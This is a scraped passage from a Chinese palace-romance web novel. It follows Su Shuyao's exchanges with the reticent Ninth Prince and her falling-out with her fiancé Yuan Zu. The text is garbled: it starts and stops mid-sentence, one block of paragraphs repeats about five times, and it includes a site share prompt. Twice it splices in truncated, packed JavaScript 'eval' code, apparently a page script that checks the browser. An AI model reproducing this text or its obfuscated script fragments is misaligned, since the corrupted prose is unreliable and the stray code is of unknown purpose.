血腥气将好闻的兰花香气冲淡，楚翎曜下意识皱了皱眉。 苏舒窈难得露出两分女儿娇羞：“殿下，我没**，你别问了。” 楚翎曜越靠越近：“尸体要尽快处理，虽然天凉，但是放久了还是会有异味.” 苏舒窈打断道：“殿下，你闻到的，是葵水的气味。” “.” 沉默之后，周围的空气瞬间冰冻。 在大夏的传统观念中，“葵水”被视为女子的“私密”，更是被视为不洁，就连对夫君，也不能直白描述。 男子主动问起，会被指责“轻薄”、“无礼”。 女子主动提起，则是“不知羞耻”。 楚翎曜本该屏住呼吸，却忍不住深吸了一口气。 第161章 改变结局 苏舒窈并没有感到羞耻她在九殿下面前早就“不知羞耻”了。 她担心九殿下会害羞然后又逃跑。 这个敏感的话题不适合未婚男女谈论更不适合像他们这样隐秘关系的男女谈论。 果然下一秒九殿下又消失不见了。 苏舒窈叹了口气九殿下明明胆子那么大**收尸都不怕却害怕这个。 “殿下是觉得我脏吗？” “.” 回应她的是沉默。 苏舒窈感受到对方还没离开轻轻吸了吸鼻子：“殿下我觉得好伤心。” 过了一会儿冰凉的声音响起：“没有。” 他并不觉得她脏。 苏舒窈笑了笑。 为了防止苏舒窈再说出什么不该说出的话题楚翎曜率先开口：“本王要去外地。” “殿下去外地干什么？” “任务。” “什么时候回来？” “半个月。” 一问一答像是丈夫远行前向妻子报备。 只不过丈夫太过于害羞藏了起来只见其声不见其人。 不知道的还以为苏舒窈嫁给了鬼。 “谁指派的任务？去哪里？能告诉我吗？” 不知道是意识到这样的对话太过暧昧还是因为任务机密楚翎曜不再开口。 苏舒窈也不在多问静静地坐着时不时看着场上的元祖吃瘪要么无缘无故摔跤要么被对手肘击要么被队友误伤 两人好似在进行一场神秘的幽会虽然看不见人但知道对方一直在自己身边还在静静地注视着自己。 既然不能问任务她也可以换其他问题。 “殿下喜欢的食物有哪些？” “.没有。”楚翎曜对食物的态度是不饿就行至于味道怎么样完全不在意。 他一向吃很少。 以前时不时被容妃关进柜子里为了不把自己弄得太狼狈他一直吃很少。 虽然楚翎曜的回答有些敷衍却没有浇灭苏舒窈的热情：“我很喜欢吃尤其是甜甜的食物点心喜欢绿豆糕、玫瑰卤子做的鲜花饼、核桃酥八宝糯米饭上洒上白糖我也喜欢.” 她自顾自列举了不少美食 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 么做的吗.” 在她的描述下，楚翎曜竟然也忍不住咽了咽口水。 苏舒窈说的食物，他都吃过，不管甜的咸的辣的，在他看来就那样，不过用来饱腹而已。 从她嘴里说出来，竟然多了几分色彩。 关于这次的任务，是楚翎曜主动揽下的。 他做事一向任性妄为，这次这么主动，就连皇帝也觉得有些不可思议，接连夸奖：“小九长大了。” 容妃是南域国公主，混合了外族血统，楚翎曜从出生那一刻便注定与皇位无缘。 楚翎曜也在行动中表示，他一点也不想当皇帝。 他对几个皇子哥哥一视同仁，并不接受他们的示好，也不恶意拉扯，他只效忠于皇帝。 对皇帝来说，他是一把锋利的刀，指哪砍哪。 在朝臣看来，楚翎曜凶残狠戾，仗着被皇帝宠爱，肆意妄为，残暴忠良。 皇帝是在世明君。 朝臣们全然忘记，楚翎曜手中的权力是皇帝给的，没有皇帝庇护，他敢胡乱抄家**吗？ 他将朝臣和皇帝的矛盾，成功地转移到了自己身上。 这也是皇帝对他偏爱的原因。 他只忠于皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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骆心捏着帕子，小声道：“表哥，你别对舒窈姐姐那么凶，舒窈姐姐专门来看你，应该是有意求和的。” 元祖唇角扬起，歪到了眼角：“她要退婚就退婚，想求和就求和，她以为她是谁？” 骆心轻轻地拉着元祖的袖口，“表哥，你别这样，舒窈姐姐主动前来，一定是鼓起了很大的勇气的，你别把舒窈姐姐吓跑了。” 元祖抿了抿唇，嘴角邪魅的笑容越发深邃：“行吧，苏舒窈，今天看在心儿的面子上，本公子给你一个机会。” 苏舒窈淡淡看他俩一眼：“你们狗叫能不能靠边一点，挡着我的路了。” 元祖：“.” 周围的空气忽然安静下来。 元祖整个人都在抖：“苏舒窈，你、你简直没有教养！” “怎么，元大公子又要教训我？”苏舒窈淡淡一笑：“看清楚了，这里是望春园，可不是元家，容不得元大公子撒野！” 元祖一张脸气得煞白：“你、你、你明明对我余情未了，我给了你机会你还不把握？你别否认，你要是心里没我，你跑来看**什么？” 苏舒窈淡淡一笑：“我来看看野狗摔跤，还要你的批准？” 骆心目光恳切地看向苏舒窈：“舒窈姐姐，你别这么咄咄逼人好不好，大家各退一步，有话好好说，我看到你们这个样子，心里好着急。” “你一点也不着急，你心里乐开花了吧。”苏舒窈直接挑破了骆心的小心思：“明明就是你挑拨离间，装什么装？” 骆心抿着唇，再次露出一副委屈的模样。 元祖将骆心护在身后，冷冷地瞪着人：“苏舒窈，给你的机会不把握，到时候做妾都没你的份！” 苏舒窈朝着元祖做了个福礼：“愿此生再不相见。” 说完，便带着人离开，一点也不拖泥带水。 “舒窈姐姐，你怎么走了，有话好好说啊。”骆心跺了跺脚，着急道：“表哥，我去追舒窈姐姐，要不说清楚，误会是越来越大了。” 元祖冷声道：“心儿别去，她就是个狼心狗肺的！” “启承兄，怎 么回事？”灰衣公子走过来，只看到苏舒窈的背影：“和未婚妻闹矛盾了。” 元祖轻声“嗯”了一下。 “你那表妹跟得你那么紧，换了谁都心里不舒坦。”灰衣公子揽着人的肩膀，压低声音：“你该不会是想娶平妻吧？” 元祖心里咯噔一声，母亲确实有那个想法，“怎么可能？我元祖是那样的人吗？” 灰衣公子：“不是那就说清楚，免得误会。不过话说回来，你那未婚妻气量未免也太小了吧，一个表妹都不能容忍，你以后纳妾怎么办？” 元祖心里冷哼一声，既然苏舒窈要拿乔，给了她这么多机会都不把握，就别怪他使用极端手段了。 正妻不当，偏要做妾！ 真是**！ ~ 自从万氏从家庙回来之后，好似变了个人似的，天天守在小佛堂吃斋念佛。 苏明添安静养伤，苏明沛专心读书，苏明芷也没闹腾，威远侯府看起来一片安宁和睦。 又过了两天，冷侍郎亲自上门见了威远侯，要苏明珠做好进宫准备。 威远侯亲自去家庙把苏明珠接了回来。 苏明珠回来后，也安安静静，没哭没闹。 仿佛一切都归于平静。 苏舒窈却不敢掉以轻心，万氏和苏明珠都不是省油的灯，忽然这般安静，肯定在暗中酝酿毒计。 又过了两天，王公子的茶庄办诗会，亲自送来请帖。 苏舒窈约了唐挽心一同过去。 茶庄举办诗会，男子在一楼花园，女子专属雅间在二楼，进出都和男子分开，一看就是用了心思。 王公子亲自将人送进包间。 他穿了一身青色的直缀，青衿雅韵，像雨后初晴的远山般温润。 唐挽心看了好几眼。 上楼的时候，唐挽心悄悄和苏舒窈咬耳朵：“舒窈，这个公子生得好生俊俏。” 么回事？”灰衣公子走过来，只看到苏舒窈的背影：“和未婚妻闹矛盾了。” 元祖轻声“嗯”了一下。 “你那表妹跟得你那么紧，换了谁都心里不舒坦。”灰衣公子揽着人的肩膀，压低声音：“你该不会是想娶平妻吧？” 元祖心里咯噔一声，母亲确实有那个想法，“怎么可能？我元祖是那样的人吗？” 灰衣公子：“不是那就说清楚，免得误会。不过话说回来，你那未婚妻气量未免也太小了吧，一个表妹都不能容忍，你以后纳妾怎么办？” 元祖心里冷哼一声，既然苏舒窈要拿乔，给了她这么多机会都不把握，就别怪他使用极端手段了。 正妻不当，偏要做妾！ 真是**！ ~ 自从万氏从家庙回来之后，好似变了个人似的，天天守在小佛堂吃斋念佛。 苏明添安静养伤，苏明沛专心读书，苏明芷也没闹腾，威远侯府看起来一片安宁和睦。 又过了两天，冷侍郎亲自上门见了威远侯，要苏明珠做好进宫准备。 威远侯亲自去家庙把苏明珠接了回来。 苏明珠回来后，也安安静静，没哭没闹。 仿佛一切都归于平静。 苏舒窈却不敢掉以轻心，万氏和苏明珠都不是省油的灯，忽然这般安静，肯定在暗中酝酿毒计。 又过了两天，王公子的茶庄办诗会，亲自送来请帖。 苏舒窈约了唐挽心一同过去。 茶庄举办诗会，男子在一楼花园，女子专属雅间在二楼，进出都和男子分开，一看就是用了心思。 王公子亲自将人送进包间。 他穿了一身青色的直缀，青衿雅韵，像雨后初晴的远山般温润。 唐挽心看了好几眼。 上楼的时候，唐挽心悄悄和苏舒窈咬耳朵：“舒窈，这个公子生得好生俊俏。” 么回事？”灰衣公子走过来，只看到苏舒窈的背影：“和未婚妻闹矛盾了。” 元祖轻声“嗯”了一下。 “你那表妹跟得你那么紧，换了谁都心里不舒坦。”灰衣公子揽着人的肩膀，压低声音：“你该不会是想娶平妻吧？” 元祖心里咯噔一声，母亲确实有那个想法，“怎么可能？我元祖是那样的人吗？” 灰衣公子：“不是那就说清楚，免得误会。不过话说回来，你那未婚妻气量未免也太小了吧，一个表妹都不能容忍，你以后纳妾怎么办？” 元祖心里冷哼一声，既然苏舒窈要拿乔，给了她这么多机会都不把握，就别怪他使用极端手段了。 正妻不当，偏要做妾！ 真是**！ ~ 自从万氏从家庙回来之后，好似变了个人似的，天天守在小佛堂吃斋念佛。 苏明添安静养伤，苏明沛专心读书，苏明芷也没闹腾，威远侯府看起来一片安宁和睦。 又过了两天，冷侍郎亲自上门见了威远侯，要苏明珠做好进宫准备。 威远侯亲自去家庙把苏明珠接了回来。 苏明珠回来后，也安安静静，没哭没闹。 仿佛一切都归于平静。 苏舒窈却不敢掉以轻心，万氏和苏明珠都不是省油的灯，忽然这般安静，肯定在暗中酝酿毒计。 又过了两天，王公子的茶庄办诗会，亲自送来请帖。 苏舒窈约了唐挽心一同过去。 茶庄举办诗会，男子在一楼花园，女子专属雅间在二楼，进出都和男子分开，一看就是用了心思。 王公子亲自将人送进包间。 他穿了一身青色的直缀，青衿雅韵，像雨后初晴的远山般温润。 唐挽心看了好几眼。 上楼的时候，唐挽心悄悄和苏舒窈咬耳朵：“舒窈，这个公子生得好生俊俏。” 么回事？”灰衣公子走过来，只看到苏舒窈的背影：“和未婚妻闹矛盾了。” 元祖轻声“嗯”了一下。 “你那表妹跟得你那么紧，换了谁都心里不舒坦。”灰衣公子揽着人的肩膀，压低声音：“你该不会是想娶平妻吧？” 元祖心里咯噔一声，母亲确实有那个想法，“怎么可能？我元祖是那样的人吗？” 灰衣公子：“不是那就说清楚，免得误会。不过话说回来，你那未婚妻气量未免也太小了吧，一个表妹都不能容忍，你以后纳妾怎么办？” 元祖心里冷哼一声，既然苏舒窈要拿乔，给了她这么多机会都不把握，就别怪他使用极端手段了。 正妻不当，偏要做妾！ 真是**！ ~ 自从万氏从家庙回来之后，好似变了个人似的，天天守在小佛堂吃斋念佛。 苏明添安静养伤，苏明沛专心读书，苏明芷也没闹腾，威远侯府看起来一片安宁和睦。 又过了两天，冷侍郎亲自上门见了威远侯，要苏明珠做好进宫准备。 威远侯亲自去家庙把苏明珠接了回来。 苏明珠回来后，也安安静静，没哭没闹。 仿佛一切都归于平静。 苏舒窈却不敢掉以轻心，万氏和苏明珠都不是省油的灯，忽然这般安静，肯定在暗中酝酿毒计。 又过了两天，王公子的茶庄办诗会，亲自送来请帖。 苏舒窈约了唐挽心一同过去。 茶庄举办诗会，男子在一楼花园，女子专属雅间在二楼，进出都和男子分开，一看就是用了心思。 王公子亲自将人送进包间。 他穿了一身青色的直缀，青衿雅韵，像雨后初晴的远山般温润。 唐挽心看了好几眼。 上楼的时候，唐挽心悄悄和苏舒窈咬耳朵：“舒窈，这个公子生得好生俊俏。” 么回事？”灰衣公子走过来，只看到苏舒窈的背影：“和未婚妻闹矛盾了。” 元祖轻声“嗯”了一下。 “你那表妹跟得你那么紧，换了谁都心里不舒坦。”灰衣公子揽着人的肩膀，压低声音：“你该不会是想娶平妻吧？” 元祖心里咯噔一声，母亲确实有那个想法，“怎么可能？我元祖是那样的人吗？” 灰衣公子：“不是那就说清楚，免得误会。不过话说回来，你那未婚妻气量未免也太小了吧，一个表妹都不能容忍，你以后纳妾怎么办？” 元祖心里冷哼一声，既然苏舒窈要拿乔，给了她这么多机会都不把握，就别怪他使用极端手段了。 正妻不当，偏要做妾！ 真是**！ ~ 自从万氏从家庙回来之后，好似变了个人似的，天天守在小佛堂吃斋念佛。 苏明添安静养伤，苏明沛专心读书，苏明芷也没闹腾，威远侯府看起来一片安宁和睦。 又过了两天，冷侍郎亲自上门见了威远侯，要苏明珠做好进宫准备。 威远侯亲自去家庙把苏明珠接了回来。 苏明珠回来后，也安安静静，没哭没闹。 仿佛一切都归于平静。 苏舒窈却不敢掉以轻心，万氏和苏明珠都不是省油的灯，忽然这般安静，肯定在暗中酝酿毒计。 又过了两天，王公子的茶庄办诗会，亲自送来请帖。 苏舒窈约了唐挽心一同过去。 茶庄举办诗会，男子在一楼花园，女子专属雅间在二楼，进出都和男子分开，一看就是用了心思。 王公子亲自将人送进包间。 他穿了一身青色的直缀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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